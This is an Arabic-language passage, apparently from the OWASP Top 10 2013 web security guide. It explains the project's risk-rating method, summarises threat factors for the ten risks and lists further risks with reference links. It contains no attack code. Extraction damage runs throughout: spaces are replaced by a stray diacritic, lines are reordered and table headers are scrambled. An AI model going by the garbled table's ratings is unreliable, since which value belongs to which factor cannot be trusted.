عاملًالتهديد،ًمؤشراتًالهجوم،ًنقاطًالضغف،ًالتأثيرًالتقنيًوالتأثيرًالعملي،ًومنًثمًجمعًكلًماسبقً: اوضحتًانًالتركيزًعلىًالمخاطرًمبنيًعلى2010ًً

 .تتبعًنفسًالاسلوبً (العشرةًالأوائل -أواسبً)هذهًالاصدارةًمنً. لإستخلاصًالمخاطر

 

 أساليبًتصنيفًالمخاطرًفيًهذهًالاصدارةًتعتمدًعلىًاسلوبًأواسبًلتصنيفًالمخاطر. لكلًعنصرًفي )أواسبً- العشرةًالأوائل( نحنًقدرناًالخطرًالنموذجي

.ئعةلشاوالذيًينتجًعنًنقاطًالضعفًفيًتطبيقًالويبًالنموذجيًمنًخلالًالنظرًفيًالعواملًالشائعًحدوثهاًوالعواملًذاتًالتأثيرًلكلًنقاطًالضعفًا  

.بناءًعلىًماينتجًعنًنقاطًالضعفًوالتيًنموذجياًينتجًعنهاًمخاطرًمعتبرةًفيًالتطبيقات (العشرةًالأوائل -أواسبً)   نحنًنرتبًالعناصرًفيً 

 

يجبًانًتتكلمً( العشرةًالأوائل -أواسبً)علىًكلًحالً. يعرّفًالعديدًمنًالعواملًالتيًتساعدًفيًحسابًالمخاطرًللثغراتًالمكتشفةًاسلوبًأواسبًلتصنيفًالمخاطر

عنًعموميات عنًالتحدثًعنًثغراتًمحددةًفيًالتطبيقاتًالحقيقية. دائماً  لذلك،ًنحنًلاًنستطيعًابدا ًانًنكونًبالدقةًالتيًيتمتعًبهاًمالكًالنظامًعندًحسابً. عوضاً 

 .انتًاكثرًمنًيستطيعًالحكمًعلىًاهميةًالتطبيقاتًوالبيانات،ًمنًهمًعواملًالتهديد،ًوكيفًتمًبناءًنظامكًوكيفًيتمًتشغيله. المخاطرًلتطبيقاتهم

 

بطبيعةًالحال،ًلايجبًعليكً(. التأثيرًالتقني)،ًومعاملًتأثيرًواحدً(الإنتشار،ًالإكتشاف،ًسهولةًالإستغلال)اسلوبناًيتضمنًثلاثةًمركباتًشائعًحدوثهاًلكلًنقطةًضعفً

فيً“ عزوًالعمل”كماًتمًالإشارةًإليهمًفيًقسمً)منًاجلًبياناتًالإنتشارًنحنًقدمناًإحصائاتًالإنتشارًمنًعددًمنًالمنظماتً. حسابًنسبةًالإنتشارًلنقطةًضعفًمعينة

هذهًالبياناتًتمًدمجهاًمعً. ونحنًقمناًبقياسًالمعدلًالعامًللبياناتًالمقدمةًمنًتلكًالمنظماتًواستنتجناًقائمةًترتبًالعناصرًالعشرةًبحسبًالإنتشار( الصفحةًالثالثة

بعدًذلكًتمًضربًماسبقًايضاحهًفيًالمعدلًالعامً. منًاجلًحسابًاحتماليةًظهورًكلًنقطةًضعف( الإكتشافًوإمكانيةًالإستغلال)نسبةًاحتماليةًمعاملينًاخرينً

 (.العشرةًالأوائل -أواسبً)للتأثيرًالتقنيًلكلًعنصرًلوحدهًومنًثمًاستنتاجًترتيبًكلًعنصرًبحسبًالخطرًالمرتبطًبهًفيًقائمةً

 

أيًواحدًمنًهذهً. خاصالًلاحظًانًهذاًالاسلوبًلاًيأخذًفيًعينًالاعتبارًعواملًالتهديدًفيًحساباته،ًولاًيأخذًفيًعينًالاعتبارًأيًتفاصيلًتقنيةًمرتبطةًبتطبيقك

لاًيأخذًفيًعينًالاعتبارًالضررًالفعليً. العواملًيستطيعًوبشكلًقويًانًيؤثرًفيًاحتماليةًظهورًمهاجمًيجدًثغرةًفيًالتطبيقًويقومًبإستغلالها هذاًالتصنيفًايضاً 

 -أواسبً)ليسًالهدفًمنً. منظمتكًهيًمنًتقررًحجمًالضررًالتيًتقبلًبهًمنًهذهًالتطبيقاتًمعًالاخذًفيًالاعتبارًالثقافة،ًالصناعةًوالبيئةًالمنظمة. بالنسبةًللعمل

 .انًتقومًبهذاًالنوعًمنًتحليلًالمخاطرًلمنظمتك( العشرةًالأوائل

 

منتشرةًبشكلًقويًوحازتًعلىًقيمةًصفرًبمعنىًً XSSبالطبعً. A3فيًً XSSالجدولًلتاليًيوضحًحسابناًللمخاطرًعلىًسبيلًالمثالًثغرةًالبرمجةًعبرًالمواقعً

 (.3إلى1ًًقيمةً)بينماًباقيًالمخاطرًتمًتوزيعهاًمابينًشائعةًوغيرًشائعةً. “واسعةًالإنتشارًجدا ً”انهاً
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 ملخص لأهم عشرة عوامل خطر

تمً. ،ًبالإضافةًإلىًبيانًعواملًالخطرًالتيًأسندناهاًلكلًواحدةًمنها2013للعشرةًالأوائلًمنًمخاطرًأوسبًلأمنًالتطبيقاتًلعامًًيحتويًالجدولًالتاليًعلىًملخص

ًعلىًالمعلوماتًالإحصائيةًالمتوفرةًوعلىًخبرةًفريقًأواسبًللعشرةًالأوائل يجبًعليكًالأخذًفيًلفهمًهذهًالمخاطرًلتطبيقًأوًمنشأةًبعينها،ً. تحديدًهذهًالعواملًبناء 

قدًلاتشكلًنقاطًالضعفًالأمنيةًأيًمخاطرًإذاًلمًتكنًهناكًأيًعواملًتهديدًلإنجازًاللازمًلأتمامًعمليةًالإختراق،ً. الحسبانًعواملًالتهديدًوتأثيراتًالعملًالخاصةًبك

ًعلىًالأصولًالمعنية  .أوًقدًيتمًاعتبارًالتأثيرًعلىًالعملًغيرًجديرًبالحسبانًبناء 

 F+ تفاصيل عن عوامل الخطر

 

 الخطر

 

 الحقن -A1  خاص بالتطبيق سهل شائع متوسط خطير خاص بالتطبيق

 التحقق من الهوية -A2  خاص بالتطبيق متوسط واسع الإنتشار متوسط خطير خاص بالتطبيق

 البرمجة عبر الموقع -A3  خاص بالتطبيق متوسط واسع الإنتشار جدا   سهل متوسط خاص بالتطبيق

 الإحالة المباشرة -A4  خاص بالتطبيق سهل شائع سهل متوسط خاص بالتطبيق

 سوء الإعدادات -A5  خاص بالتطبيق سهل شائع سهل متوسط خاص بالتطبيق

 البيانات الحساسة -A6  خاص بالتطبيق صعب غير شائع متوسط خطير خاص بالتطبيق

 الوصول الوظيفي -A7  خاص بالتطبيق سهل شائع متوسط متوسط خاص بالتطبيق

 الطلبات تزوير -A8  خاص بالتطبيق متوسط شائع سهل طمتوس خاص بالتطبيق

 المكونات -A9  خاص بالتطبيق متوسط واسع الإنتشار صعب متوسط خاص بالتطبيق

 إعادة التوجيه -A10  خاص بالتطبيق متوسط غير شائع سهل متوسط خاص بالتطبيق

 إضافية مخاطر

ظهرتًبعضًهذهًالمخاطرًفيًالإصداراتً. تغطيًقائمةًالعشرةًالأوائلًمعظمًالمخاطرًالأمنية،ًلكنًهناكًعدةًمخاطرًعليكًأخذهاًفيًالحسبانًوتقييمهاًفيًمنشأتك

القائمةًالتاليةًتظهرًبعضًالمخاطرًالأمنيةًالتيًتواجهً. بالإضافةًإلىًتقنياتًالهجومًالجديدةًالتيًيتمًرصدهاًباستمرارالسابقةًمنًالعشرةًالأوائل،ًوبعظهاًلمًيظهر،ً

 (:مرتبةًأبجديا ً)التطبيقاتًوالمهمًأخذهاًفيًالحسبانً

• Clickjacking 

• Concurrency Flaws 

• Denial of Service (Was 2004 Top 10 – Entry 2004-A9) 

• Expression Language Injection (CWE-917) 

• Information Leakage and Improper Error Handling (Was part of 2007 Top 10 – Entry 2007-A6) 

• Insufficient Anti-automation (CWE-799) 

• Insufficient Logging and Accountability (Related to 2007 Top 10 – Entry 2007-A6) 

• Lack of Intrusion Detection and Response 

• Malicious File Execution (Was 2007 Top 10 – Entry 2007-A3) 

• Mass Assignment (CWE-915) 

• User Privacy 

 التأثير إمكانية الإستغلال الإكتشاف الإنتشار

 نقاط الضعف

 الأمنية
 مؤشرات

 الهجوم
 التأثيرات

 عوامل التقنية
 التهديد

 التأثيرات

 على العمل

https://www.owasp.org/index.php/Clickjacking
https://www.owasp.org/index.php/Testing_for_Race_Conditions_(OWASP-AT-010)
https://www.owasp.org/index.php/Application_Denial_of_Service
https://www.aspectsecurity.com/uploads/downloads/2011/09/ExpressionLanguageInjection.pdf
http://cwe.mitre.org/data/definitions/917.html
http://cwe.mitre.org/data/definitions/917.html
http://cwe.mitre.org/data/definitions/917.html
http://projects.webappsec.org/Information-Leakage
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/Top_10_2007-A6
http://projects.webappsec.org/Insufficient+Anti-automation
http://projects.webappsec.org/Insufficient+Anti-automation
http://projects.webappsec.org/Insufficient+Anti-automation
http://cwe.mitre.org/data/definitions/799.html
http://cwe.mitre.org/data/definitions/799.html
http://cwe.mitre.org/data/definitions/799.html
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/Top_10_2007-A6
https://www.owasp.org/index.php/ApplicationLayerIntrustionDetection
https://www.owasp.org/index.php/Top_10_2007-A3
https://www.owasp.org/index.php/Top_10_2007-A3
https://www.owasp.org/index.php/Top_10_2007-A3
https://www.owasp.org/index.php/Top_10_2007-A3
https://www.owasp.org/index.php/Top_10_2007-A3
https://www.owasp.org/index.php/Top_10_2007-A3
http://en.wikipedia.org/wiki/Mass_assignment_vulnerability
http://cwe.mitre.org/data/definitions/915.html
http://cwe.mitre.org/data/definitions/915.html
http://cwe.mitre.org/data/definitions/915.html
https://www.owasp.org/index.php/Privacy_Violation



